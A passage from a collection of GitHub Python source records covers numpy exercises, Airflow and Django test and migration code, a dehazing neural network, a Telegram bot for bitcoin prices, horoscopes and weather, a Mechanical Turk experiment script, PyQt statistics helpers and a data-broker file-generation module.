np.full((3, 3), True)\nprint('\\ntask 3\\n', np2)\n\nnp3 = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\nprint('\\ntask 4\\n', np3[np3 % 2 == 1])\n\nnp4 = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\nnp4[np4 % 2 == 1] = -1\nprint('\\ntask 5\\n', np4)\n\nnp5 = np.arange(10)\nnew_np5 = np.where(np5 % 2 == 1, -1, np5)\nprint('\\ntask 6\\n', new_np5)\n\nnp6 = np.arange(10)\nprint('\\ntask 7\\n', np6.reshape(2, 5)) # or use second parameter as -1, auto decide\n\n# level №2\nnp7_a = np.arange(10).reshape(2, -1)\nnp7_b = np.repeat(1, 10).reshape(2, -1)\nprint('\\ntask 8\\n', np.vstack([np7_a, np7_b]))\n\nnp8_a = np.arange(10).reshape(2, -1)\nnp8_b = np.repeat(1, 10).reshape(2, -1)\nprint('\\ntask 9\\n', np.hstack([np8_a, np8_b]))\n\nnp.random.seed(100)\nnp9_a = np.random.uniform(1, 50, 20)\nnp4[np4 % 2 == 1] = -1\nnp9_b = np.where(np9_a < 10, 10, np.where(np9_a > 30, 30, np9_a))\nprint('\\ntask 47\\n', np9_b)\n\n# this task isn't solved by me, task use as example how to work with links\nURL_25 = 'https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data'\niris = np.genfromtxt(URL_25, delimiter=',', dtype='object')\nnames = ('sepallength', 'sepalwidth', 'petallength', 'petalwidth', 'species')\nprint('\\ntask №25\\n', iris[: 3])\n\n# level №3\nURL_34 = 'https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data'\niris_2d = np.genfromtxt(URL_34, delimiter=',', dtype='float', usecols=[0, 1, 2, 3])\nfilt_rows = (iris_2d[:, 2] > 1.5) & (iris_2d[:, 0] < 5.0)\nprint('\\ntask №34\\n', iris_2d[filt_rows])\n\nnp.random.seed(100)\na_58 = np.random.randint(0, 5, 10)\nprint(f'\\ntask №58\\n Array: {a_58}')\nm = np.zeros_like(a_58, dtype=bool)\nm[np.unique(a_58, return_index=True)[1]] = True\nprint(np.invert(m, dtype=bool))\n\nURL_60 = 'https://upload.wikimedia.org/wikipedia/commons/8/8b/Denali_Mt_McKinley.jpg'\nresponse_60 = requests.get(URL_60, 1)\nimg_60 = Image.open(BytesIO(response_60.content))\nnumpydata = np.asarray(img_60)\nprint('\\ntask №60\\n', numpydata)\n\n# level №4\na_63 = np.array([1, 3, 7, 1, 2, 6, 0, 1])\nprint('\\ntask №63\\n', argrelextrema(a_63, np.greater))\n","repo_name":"AndreyFortus/Python_Projects","sub_path":"lec_numpy.py","file_name":"lec_numpy.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42650461987","text":"from airflow.models import TaskInstance\nfrom airflow.operators import DummyOperator\nfrom datetime import datetime\n\nfrom wmf_airflow.template import DagConf, LazyJsonVariableAccessor, TemplatedSeq\n\n\ndef test_LazyJsonVariableAccessor(mock_airflow_variables):\n mock_airflow_variables({\n 'pytest_var': {\n 'a': 'aaa',\n 'b': '123',\n },\n })\n\n # Simple property access\n accessor = LazyJsonVariableAccessor('pytest_var')\n assert accessor.a == 'aaa'\n assert accessor.b == '123'\n\n # Failures must be attribute errors\n try:\n accessor.c\n except AttributeError:\n pass\n else:\n assert False, 'Expected AttributeError'\n\n\ndef test_DagConf(mock_airflow_variables):\n mock_airflow_variables({\n 'pytest_var': {\n 'a': 'aaa',\n },\n })\n conf = DagConf('pytest_var')\n # Proper template output\n assert conf('a') == '{{ var.json.pytest_var.a }}'\n # macro expands to correct variable\n assert conf.macro.a == 'aaa'\n\n\ndef test_TemplatedSeq(dag, mock_airflow_variables):\n mock_airflow_variables({\n 'pytest_var': {\n 'baz': [1, 2],\n 'q': 4,\n },\n })\n\n def render(var):\n op = DummyOperator(task_id='dummy', dag=dag)\n op.template_fields = ('templated',)\n op.templated = var\n TaskInstance(op, datetime(2001, 1, 15)).render_templates()\n return list(op.templated)\n\n # Simplest usage\n output = render(TemplatedSeq('hello,world'))\n assert output == ['hello', 'world']\n\n # Passing a transform fn\n output = render(TemplatedSeq.for_var(\n 'var.json.pytest_var.baz',\n fn=lambda x: 'q=4/x=' + x))\n assert output == ['q=4/x=1', 'q=4/x=2']\n\n # Passing arguments to transform fn\n output = render(TemplatedSeq.for_var(\n 'var.json.pytest_var.baz',\n fn_args=(4,),\n fn=lambda x, q: 'q={}/x={}'.format(q, x)))\n assert output == ['q=4/x=1', 'q=4/x=2']\n\n # Passing templated arguments to transform fn\n output = render(TemplatedSeq.for_var(\n 'var.json.pytest_var.baz',\n fn_args=('{{ var.json.pytest_var.q }}',),\n fn=lambda x, q: 'q={}/x={}'.format(q, x)))\n assert output == ['q=4/x=1', 'q=4/x=2']\n","repo_name":"wikimedia/wikimedia-discovery-analytics","sub_path":"airflow/tests/test_wmf_airflow_template.py","file_name":"test_wmf_airflow_template.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"70519717227","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('handstats', '0011_realcard_bias_coeff'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='game',\n name='cards_used_by_opponent',\n field=models.ManyToManyField(to='handstats.RealCard'),\n ),\n migrations.AddField(\n model_name='realcard',\n name='prob_two_in_hand',\n field=models.FloatField(default=0.0),\n ),\n migrations.AlterField(\n model_name='realcard',\n name='nb_copy',\n field=models.IntegerField(default=0),\n ),\n ]\n","repo_name":"ValentinMoullet/hearthstone","sub_path":"hearthstone/handstats/migrations/0012_auto_20160110_1919.py","file_name":"0012_auto_20160110_1919.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37086974326","text":"#!/usr/bin/python3\n\"\"\"\nContains tests for FileStorge class\n\"\"\"\nimport unittest\nimport os\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\n\n\nfs = FileStorage()\n\n\nclass TestFileStorage(unittest.TestCase):\n \"\"\"\n Tests for FileStorage class\n \"\"\"\n model = BaseModel()\n file_path = fs._FileStorage__file_path\n\n def test_all(self):\n if os.path.exists(self.file_path):\n os.remove(self.file_path)\n self.assertIsInstance(fs.all(), dict)\n\n def test_new(self):\n fs_all = fs.all().copy()\n model2 = BaseModel()\n self.assertNotEqual(fs_all, fs.all())\n\n def test_save(self):\n if os.path.exists(self.file_path):\n os.remove(self.file_path)\n model2 = BaseModel()\n model2.save()\n self.assertNotEqual(os.path.getsize(self.file_path), 0)\n\n def test_reload(self):\n if os.path.exists(self.file_path):\n os.remove(self.file_path)\n model2 = BaseModel()\n model2.save()\n fs.reload()\n all_dict = fs.all().copy()\n model2.my_num = 100\n self.assertEqual(model2.my_num, 100)\n fs.reload()\n self.assertNotEqual(fs.all(), all_dict)\n\n def test_obj_dict(self):\n self.assertIsInstance(FileStorage._FileStorage__objects, dict)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"kyle-gross/AirBnB_clone","sub_path":"tests/test_models/test_engine/test_file_storage.py","file_name":"test_file_storage.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21780968641","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom Transformer import *\n\nclass ShareSepConv(nn.Module):\n def __init__(self, kernel_size):\n super(ShareSepConv, self).__init__()\n assert kernel_size % 2 == 1, 'kernel size should be odd'\n self.padding = (kernel_size - 1)//2\n weight_tensor = torch.zeros(1, 1, kernel_size, kernel_size)\n weight_tensor[0, 0, (kernel_size-1)//2, (kernel_size-1)//2] = 1\n self.weight = nn.Parameter(weight_tensor)\n self.kernel_size = kernel_size\n\n def forward(self, x):\n inc = x.size(1)\n expand_weight = self.weight.expand(inc, 1, self.kernel_size, self.kernel_size).contiguous()\n return F.conv2d(x, expand_weight,\n None, 1, self.padding, 1, inc)\n\n\n\nclass ResidualBlock(nn.Module):\n def __init__(self, channel_num, dilation=1, group=1):\n super(ResidualBlock, self).__init__()\n self.conv1 = nn.Conv2d(channel_num, channel_num, 3, 1, padding=dilation, dilation=dilation, groups=group, bias=False)\n self.conv2 = nn.Conv2d(channel_num, channel_num, 3, 1, padding=dilation, dilation=dilation, groups=group, bias=False)\n\n def forward(self, x):\n y = F.relu(self.conv1(x))\n y = self.conv2(y)\n return F.relu(x+y)\n\n\nclass dehaze_net(nn.Module):\n def __init__(self, in_c=3, out_c=3, only_residual=True,in_chans=3, out_chans=3, window_size=8,\n embed_dims=[32, 64, 64, 64, 32],\n\t\t\t\t mlp_ratios=[2., 4., 4., 2., 2.],\n\t\t\t\t depths=[16, 16, 16, 8, 8],\n\t\t\t\t num_heads=[2, 4, 6, 1, 1],\n\t\t\t\t attn_ratio=[1/4, 1/2, 3/4, 0, 0],\n\t\t\t\t conv_type=['DWConv', 'DWConv', 'DWConv', 'DWConv', 'DWConv'],\n\t\t\t\t norm_layer=[RLN, RLN, RLN, RLN, RLN]):\n super(dehaze_net, self).__init__()\n\n self.res1 = ResidualBlock(64, dilation=2)\n self.res2 = ResidualBlock(64, dilation=2)\n self.res3 = ResidualBlock(64, dilation=2)\n self.res4 = ResidualBlock(64, dilation=4)\n self.res5 = ResidualBlock(64, dilation=4)\n self.res6 = ResidualBlock(64, dilation=4)\n self.res7 = ResidualBlock(64, dilation=1)\n\n self.deconv1 = nn.Conv2d(64, out_c, 1)\n self.only_residual = only_residual\n\n self.patch_embed = PatchEmbed(\n patch_size=1, in_chans=in_chans, embed_dim=embed_dims[0], kernel_size=3)\n\n # backbone\n\n self.layer1 = BasicLayer(network_depth=sum(depths), dim=embed_dims[0], depth=depths[0],\n num_heads=num_heads[0], mlp_ratio=mlp_ratios[0],\n norm_layer=norm_layer[0], window_size=window_size,\n attn_ratio=attn_ratio[0], attn_loc='last', conv_type=conv_type[0])\n\n self.patch_merge1 = PatchEmbed(\n patch_size=2, in_chans=embed_dims[0], embed_dim=embed_dims[1])\n\n self.layer2 = BasicLayer(network_depth=sum(depths), dim=embed_dims[1], depth=depths[1],\n num_heads=num_heads[1], mlp_ratio=mlp_ratios[1],\n norm_layer=norm_layer[1], window_size=window_size,\n attn_ratio=attn_ratio[1], attn_loc='last', conv_type=conv_type[1])\n\n self.patch_split1 = PatchUnEmbed(\n patch_size=2, out_chans=embed_dims[3], embed_dim=embed_dims[2])\n\n\n\n def forward(self, x):\n x = self.patch_embed(x) # 4x24x256x256\n x = self.layer1(x) # 4X24X256X256\n\n y1 = self.patch_merge1(x) #4X48X128X128\n y1 = self.layer2(y1)\n\n y = self.res1(y1)\n y = self.res2(y)\n y = self.res3(y)\n y2 = self.res4(y)\n y = self.res5(y2)\n y = self.res6(y)\n y3 = self.res7(y)\n\n x = self.patch_split1(y3)\n if self.only_residual:\n y = self.deconv1(x)\n else:\n y = F.relu(self.deconv1(x))\n\n return y\n","repo_name":"CleanerWang/TAENet","sub_path":"Networks/AIENet.py","file_name":"AIENet.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"17550171606","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport telebot\nfrom auth_data import token\nfrom telebot import types\nfrom giro import get_all, get_weather, maska\n\ndef telegram_bot(token):\n bot = telebot.TeleBot(token)\n @bot.message_handler(commands=[\"start\"])\n def start_message(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard = True)\n info = types.KeyboardButton('Информация')\n bitcoin = types.KeyboardButton('Курс биткоина')\n goroscope = types.KeyboardButton('Гороскоп')\n pogoda = types.KeyboardButton('Погода')\n markup.add(bitcoin, goroscope, pogoda, info)\n bot.send_message(message.chat.id, \"Greetings, investor {0.first_name}!\".format(message.from_user), reply_markup = markup)\n @bot.message_handler(commands=['m'])\n def handle_text(message):\n bot.send_message(message.chat.id, \"Введите данные:\")\n bot.register_next_step_handler(message, print_mask)\n def print_mask(message):\n txt = message.text\n s = maska(txt)\n bot.send_message(message.chat.id, s)\n @bot.message_handler(content_types=[\"text\"])\n def send_text(message):\n \n if message.chat.type == \"private\":\n if message.text == 'Курс биткоина':\n r = \"https://api.binance.com/api/v3/ticker/price?symbol=BTCUSDT\"\n r = requests.get(r)\n data = r.json()\n price = data[\"price\"]\n price1 = price[:9]\n bot.send_message(\n message.chat.id, f\"{datetime.now().strftime('%d-%m-%Y %H:%M')}\\nSell BTC price: {price1}\")\n\n elif message.text == 'Гороскоп':\n markup = types.ReplyKeyboardMarkup(resize_keyboard = True)\n fish = types.KeyboardButton('Рыбы')\n vesi = types.KeyboardButton('Весы')\n oven = types.KeyboardButton('Овен')\n telec = types.KeyboardButton('Телец')\n bliz = types.KeyboardButton('Близнецы')\n rak = types.KeyboardButton('Рак')\n lev = types.KeyboardButton('Лев')\n deva = types.KeyboardButton('Дева')\n scorp = types.KeyboardButton('Скорпион')\n strel = types.KeyboardButton('Стрелец')\n koza = types.KeyboardButton('Козерог')\n voda = types.KeyboardButton('Водолей')\n nazad = types.KeyboardButton('Назад')\n markup.add(fish, vesi, oven, telec, bliz, rak, lev, deva, scorp, strel, koza, voda, nazad)\n bot.send_message(message.chat.id,'Гороскоп', reply_markup = markup)\n elif message.text == 'Информация':\n\n inf = \"**Slavus Laboratories introduce**\\n\\\nbot: lab_slavus\\n\\\nVersion: 1.5 stable\\n\\\nLast Update: 05.10.21\\n\\\nТекстовые функции:\\n\\\n1. Перевод в Чизбургеры:\\n\\\n = Введите команду -сыр- ЧИСЛО\\n\\\n = В ответе получите количество чизбургеров\\n\\\n2. Узнать ip маски под сети:\\n\\\n = команда /m и номер маски\" \n bot.send_message(\n message.chat.id, inf\n )\n elif message.text == 'Назад':\n markup = types.ReplyKeyboardMarkup(resize_keyboard = True)\n info = types.KeyboardButton('Информация')\n bitcoin = types.KeyboardButton('Курс биткоина')\n goroscope = types.KeyboardButton('Гороскоп')\n pogoda = types.KeyboardButton('Погода')\n markup.add(bitcoin, goroscope, pogoda, info)\n bot.send_message(message.chat.id, \"Welcome back! investor {0.first_name}!\".format(message.from_user), reply_markup = markup)\n \n elif message.text == 'Весы':\n zn = \"libra\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Рыбы':\n zn = \"pisces\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Овен':\n zn = \"aries\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Телец':\n zn = \"taurus\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Близнецы':\n zn = \"gemini\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Рак':\n zn = \"cancer\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Лев':\n zn = \"leo\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Дева':\n zn = \"virgo\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Скорпион':\n zn = \"scorpio\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Стрелец':\n zn = \"sagittarius\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Козерог':\n zn = \"capricorn\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n elif message.text == 'Водолей':\n zn = \"aquarius\"\n s = get_all(zn) \n bot.send_message(\n message.chat.id, f\"{str(s.text)}\"\n )\n\n elif message.text == 'Погода':\n markup = types.ReplyKeyboardMarkup(resize_keyboard = True)\n msk = types.KeyboardButton('Москва')\n spb = types.KeyboardButton('Санкт-Петербург')\n kur = types.KeyboardButton('Курган')\n dubai = types.KeyboardButton('Дубаи')\n nazad = types.KeyboardButton('Назад')\n markup.add(msk, spb, kur, dubai, nazad)\n bot.send_message(message.chat.id,'Погода', reply_markup = markup)\n\n elif message.text == 'Москва':\n g = \"Moscow\"\n s = get_weather(g)\n bot.send_message(\n message.chat.id, f\"***{datetime.now().strftime('%Y-%m-%d %H:%M')}***\\n\"\n f\"Погода в городе: {s[0]}\\nТемпература: {s[1]}C°\\n\"\n f\"Влажность: {s[3]}%\\nДавление: {s[4]} мм.рт.ст\\nВетер: {s[5]} м/с\\n\"\n f\"Восход солнца: {s[6]}\\nЗакат солнца: {s[7]}\\nПродолжительность дня: {s[8]}\\n\"\n f\"Хорошего дня!\"\n )\n \n elif message.text == 'Санкт-Петербург':\n g = \"Saint%20Petersburg\"\n s = get_weather(g)\n bot.send_message(\n message.chat.id, f\"***{datetime.now().strftime('%Y-%m-%d %H:%M')}***\\n\"\n f\"Погода в городе: {s[0]}\\nТемпература: {s[1]}C°\\n\"\n f\"Влажность: {s[3]}%\\nДавление: {s[4]} мм.рт.ст\\nВетер: {s[5]} м/с\\n\"\n f\"Восход солнца: {s[6]}\\nЗакат солнца: {s[7]}\\nПродолжительность дня: {s[8]}\\n\"\n f\"Хорошего дня!\"\n )\n \n elif message.text == 'Курган':\n g = \"kurgan\"\n s = get_weather(g)\n bot.send_message(\n message.chat.id, f\"***{datetime.now().strftime('%Y-%m-%d %H:%M')}***\\n\"\n f\"Погода в городе: {s[0]}\\nТемпература: {s[1]}C°\\n\"\n f\"Влажность: {s[3]}%\\nДавление: {s[4]} мм.рт.ст\\nВетер: {s[5]} м/с\\n\"\n f\"Восход солнца: {s[6]}\\nЗакат солнца: {s[7]}\\nПродолжительность дня: {s[8]}\\n\"\n f\"Хорошего дня!\"\n )\n elif message.text == 'Дубаи':\n g = \"dubai\"\n s = get_weather(g)\n bot.send_message(\n message.chat.id, f\"***{datetime.now().strftime('%Y-%m-%d %H:%M')}***\\n\"\n f\"Погода в городе: {s[0]}\\nТемпература: {s[1]}C°\\n\"\n f\"Влажность: {s[3]}%\\nДавление: {s[4]} мм.рт.ст\\nВетер: {s[5]} м/с\\n\"\n f\"Восход солнца: {s[6]}\\nЗакат солнца: {s[7]}\\nПродолжительность дня: {s[8]}\\n\"\n f\"Хорошего дня!\"\n )\n \n elif 'сыр' in message.text.lower():\n arg = message.text.split(maxsplit=1)[1]\n kurs = int(arg)/50\n if arg.isdigit():\n bot.send_message(\n message.chat.id, kurs\n )\n else:\n bot.send_message(\n message.chat.id, \"После команды cheese введите число!\"\n )\n \n bot.polling()\nif __name__ == '__main__':\n telegram_bot(token)\n","repo_name":"devSLAVUS/simplebot","sub_path":"btc_bot.py","file_name":"btc_bot.py","file_ext":"py","file_size_in_byte":10972,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39717595333","text":"#!/usr/bin/env python\nimport sys, os\nROOT = os.path.abspath('%s/../..' % os.path.abspath(os.path.dirname(__file__)))\nsys.path.append(ROOT)\nos.environ['DJANGO_SETTINGS_MODULE'] = 'qurkexp.settings'\nfrom django.core.management import setup_environ\nfrom django.conf import settings\n#setup_environ(settings)\n\nfrom qurkexp.join.models import * \nfrom qurkexp.hitlayer.models import HitLayer\n\nCANT_TELL = \"can't tell/other\"\n\ndef get_params():\n num_celebs = int(sys.argv[1])\n if sys.argv[2] == \"batch\":\n batch = True\n elif sys.argv[2] == \"nobatch\":\n batch = False\n else:\n raise Exception(\"batch or no batch?\")\n run_name = sys.argv[3]\n return (num_celebs, batch, run_name)\n\ndef gen_fvs(featurenames):\n fvs = [FeatureVal(name=n, order=i) for i,n in enumerate(featurenames)]\n for fv in fvs:\n fv.save()\n return fvs\n\ndef gen_feature(name, order, vals):\n f = Feature(name=name, order=order)\n f.save()\n for v in vals:\n f.vals.add(v)\n f.save()\n return f\n\ndef gen_features():\n features = [ \n gen_feature(\"Gender\", 0, gen_fvs([\"male\", \"female\", CANT_TELL])),\n gen_feature(\"Hair Color\", 1, gen_fvs([\"brown/black\", \"blond\", \"white\", \"red\", CANT_TELL])),\n gen_feature(\"Skin Color\", 2, gen_fvs([\"white\", \"black\", CANT_TELL]))]\n for f in features:\n f.save()\n return features\n\ndef create_hits(c):\n batch = c.experiment.batch\n for i, f in enumerate(c.experiment.features.all()):\n hitid = HitLayer.get_instance().create_job(\"/celeb/features/%d/%d\" % (c.id, i),\n ('celeb_feature', [c.id]),\n desc = \"Look at a picture of a celebrity and identify thier gender, hair, or skin features.\",\n title = \"Identify celebrity features\",\n price = 0.01,\n nassignments = 5)\n if c.experiment.batch:\n break\n\nif __name__ == \"__main__\":\n (num_celebs, batch, run_name) = get_params()\n features = gen_features()\n exp = FeatureExperiment(batch=batch, run_name=run_name)\n exp.save()\n for f in features:\n exp.features.add(f)\n exp.save()\n \n for j in [1,2]:\n for i in range(1,num_celebs+1):\n c = FeatureCeleb(cid=i, image_set=j, experiment=exp)\n c.save()\n create_hits(c)\n","repo_name":"marcua/qurk_experiments","sub_path":"qurkexp/join/generate_filters.py","file_name":"generate_filters.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38834640425","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nimport pandas as pd\nfrom datetime import datetime\n\nclass Funcion_estadisticas:\n posicion_fechas = 0\n\n def EstadisticasCambiarSemanaAtras(self):\n self.posicion_fechas += 1\n #print(self.EstadisticasGetInfo())\n self.estadisticas_bar_chart.bara(self.EstadisticasGetInfo(), False)\n\n def EstadisticasCambiarSemanaAdelante(self):\n if self.posicion_fechas > 0:\n self.posicion_fechas -= 1\n self.estadisticas_bar_chart.bara(self.EstadisticasGetInfo(), True)\n\n def EstadisticasGetInfo(self):\n self.df = pd.read_csv('src/models/data/DB.csv')\n x = []\n y = []\n fechas_unicas = []\n hoy = datetime.today().strftime('%d-%m')\n fechas_unicas.append(hoy)\n dia = int(datetime.today().strftime('%d'))\n mes = int(datetime.today().strftime('%m'))\n\n for _ in range(364):\n if dia > 1:\n dia -= 1\n elif mes == 3:\n mes -= 1\n dia = 28\n\n elif mes == 1 or (mes % 2 == 0 and mes <= 8) or (mes % 2 != 0 and mes > 8):\n mes -= 1\n dia = 31\n else:\n mes -= 1\n dia = 30\n if mes == 0:\n mes = 12\n\n if dia < 10:\n disstr = str(0) + str(dia)\n else:\n disstr = str(dia)\n\n if mes < 10:\n messtr = str(0) + str(mes)\n else:\n messtr = str(mes)\n\n fechas_unicas.append(disstr + '-' + messtr)\n fechas_unicas.reverse()\n #\n for _ in range(self.posicion_fechas):\n try:\n fechas_unicas.pop()\n except:\n pass\n\n fechas_unicas.reverse()\n for fecha in fechas_unicas:\n cont = 0\n for ent in self.df['Fecha']:\n\n if fecha + '-2021' == ent:\n cont += 1\n y.append(cont)\n x.append(fecha)\n if len(x) > 4:\n break\n return [x, y]\n\n def EstadisticasOcupacion(self):\n df = pd.read_csv('src/models/data/DB.csv')\n Lista = df['IsIn']\n self.ocupacion_actual = 0\n for i in Lista:\n if i==True:\n self.ocupacion_actual += 1\n print('Ocupacion Actual: ' + str(self.ocupacion_actual))\n self.estadisticas_ocupacion.setText('Ocupación\\n Actual: ' + str(self.ocupacion_actual))\n\n def EstadisticasDuracion(self):\n df = pd.read_csv('src/models/data/DB.csv')\n deltas = df['Delta']\n deltas = deltas[deltas != \"D*\"].astype(int) # Seleccionar solamente los que ya salieron\n self.duracion = sum(deltas) // len(deltas)\n self.estadisticas_duracion.setText('Duración\\nMedia: ' + str(self.duracion)+' min')\n\n def EstadisticasPersonasDia(self):\n df = pd.read_csv('src/models/data/DB.csv')\n dates = df['Fecha']\n keys = set(dates.to_list())\n prom = len(dates) // len(keys)\n self.estadisticas_personasDia.setText('Promedio de\\nPersonas por\\nDía: ' + str(prom))\n\n def barras(self):\n self.estadisticas_barras.setStyleSheet(\"background-color:#A2A2A2;\")\n","repo_name":"julianVelandia/UI_RETEDECON","sub_path":"src/views/botones/estadisticas/funciones_estadisticas.py","file_name":"funciones_estadisticas.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"27882477751","text":"import logging\n\nfrom dataactbroker.helpers import generation_helper, generic_helper\n\nfrom dataactcore.interfaces.db import GlobalDB\nfrom dataactcore.interfaces.function_bag import mark_job_status\nfrom dataactcore.models import lookups\nfrom dataactcore.models.jobModels import Job\nfrom dataactcore.utils.jsonResponse import JsonResponse\nfrom dataactcore.utils.responseException import ResponseException\nfrom dataactcore.utils.statusCode import StatusCode\nfrom dataactcore.utils.stringCleaner import StringCleaner\n\nlogger = logging.getLogger(__name__)\n\n\ndef generate_file(submission, file_type, start, end, agency_type, file_format):\n \"\"\" Start a file generation job for the specified file type within a submission\n\n Args:\n submission: submission for which we're generating the file\n file_type: type of file to generate the job for\n start: the start date for the file to generate\n end: the end date for the file to generate\n agency_type: The type of agency (awarding or funding) to generate the file for (only used for D file\n generation)\n file_format: determines if the file generated is a txt or a csv (only used for D file generation)\n\n Returns:\n Results of check_generation or JsonResponse object containing an error if the prerequisite job isn't\n complete.\n \"\"\"\n error_message = None\n # submission is a FABS submission\n if submission.is_fabs:\n error_message = 'Cannot generate files for FABS submissions.'\n\n elif file_type in ['D1', 'D2']:\n # D file generation requires start and end date\n if not start or not end:\n error_message = 'Must have a start and end date for D file generation.'\n # D files can only be generated by awarding or funding agency\n elif agency_type not in ['awarding', 'funding']:\n error_message = 'agency_type must be either awarding or funding for D file generation.'\n elif file_format not in ['csv', 'txt']:\n error_message = 'file_format must be either csv or txt for D file generation.'\n\n # Only D1, D2, E, and F files can be generated\n elif file_type not in ['E', 'F']:\n error_message = 'File type must be either D1, D2, E, or F'\n\n # Return any client errors\n if error_message:\n return JsonResponse.error(ValueError(error_message), StatusCode.CLIENT_ERROR)\n\n sess = GlobalDB.db().session\n job = sess.query(Job).filter(Job.submission_id == submission.submission_id,\n Job.file_type_id == lookups.FILE_TYPE_DICT_LETTER_ID[file_type],\n Job.job_type_id == lookups.JOB_TYPE_DICT['file_upload']).one()\n logger.info({\n 'message': 'Starting {} file generation within submission {}'.format(file_type, submission.submission_id),\n 'message_type': 'BrokerInfo',\n 'submission_id': submission.submission_id,\n 'job_id': job.job_id,\n 'file_type': file_type\n })\n\n # Check prerequisites on upload job\n if not generation_helper.check_generation_prereqs(submission.submission_id, file_type):\n return JsonResponse.error(ResponseException('Must wait for completion of prerequisite validation job',\n StatusCode.CLIENT_ERROR), StatusCode.CLIENT_ERROR)\n try:\n if file_type in ['D1', 'D2']:\n generation_helper.start_d_generation(job, start, end, agency_type, file_format=file_format)\n else:\n generation_helper.start_e_f_generation(job)\n except Exception as e:\n mark_job_status(job.job_id, 'failed')\n job.error_message = str(e)\n sess.commit()\n return JsonResponse.error(e, StatusCode.INTERNAL_ERROR)\n\n # Return same response as check generation route\n return check_generation(submission, file_type)\n\n\ndef check_generation(submission, file_type):\n \"\"\" Return information about file generation jobs connected to a submission\n\n Args:\n submission: submission to get information from\n file_type: type of file being generated to check on\n\n Returns:\n Response object with keys status, file_type, url, message.\n If file_type is D1 or D2, also includes start and end.\n \"\"\"\n sess = GlobalDB.db().session\n upload_job = sess.query(Job).filter(Job.submission_id == submission.submission_id,\n Job.file_type_id == lookups.FILE_TYPE_DICT_LETTER_ID[file_type],\n Job.job_type_id == lookups.JOB_TYPE_DICT['file_upload']).one()\n\n response_dict = generation_helper.check_file_generation(upload_job.job_id)\n\n return JsonResponse.create(StatusCode.OK, response_dict)\n\n\ndef generate_detached_file(file_type, cgac_code, frec_code, start_date, end_date, year, period, agency_type,\n file_format, element_numbers):\n \"\"\" Start a file generation job for the specified file type not connected to a submission\n\n Args:\n file_type: type of file to be generated\n cgac_code: the code of a CGAC agency if generating for a CGAC agency\n frec_code: the code of a FREC agency if generating for a FREC agency\n start_date: start date in a string, formatted MM/DD/YYYY\n end_date: end date in a string, formatted MM/DD/YYYY\n year: year to generate for, integer 4 digits\n period: period to generate for, integer (2-12)\n agency_type: The type of agency (awarding or funding) to generate the file for\n file_format: determines if the file generated is a txt or a csv (only used for D file generation)\n element_numbers: a boolean that determines if the alternate headers with FPDS element numbers should be\n used (used only for file D1 generation)\n\n Returns:\n JSONResponse object with keys job_id, status, file_type, url, message, start_date, and end_date.\n\n Raises:\n ResponseException: if the start_date and end_date Strings cannot be parsed into dates\n \"\"\"\n # Make sure it's a valid request\n if not cgac_code and not frec_code:\n return JsonResponse.error(ValueError(\"Detached file generation requires CGAC or FR Entity Code\"),\n StatusCode.CLIENT_ERROR)\n\n if file_type in ['D1', 'D2']:\n # Make sure we have a start and end date for D1/D2 generation\n if not start_date or not end_date:\n return JsonResponse.error(ValueError('Must have a start and end date for D file generation.'),\n StatusCode.CLIENT_ERROR)\n\n # Check if date format is MM/DD/YYYY\n if not (StringCleaner.is_date(start_date) and StringCleaner.is_date(end_date)):\n raise ResponseException('Start or end date cannot be parsed into a date', StatusCode.CLIENT_ERROR)\n\n if agency_type not in ['awarding', 'funding']:\n return JsonResponse.error(ValueError('agency_type must be either awarding or 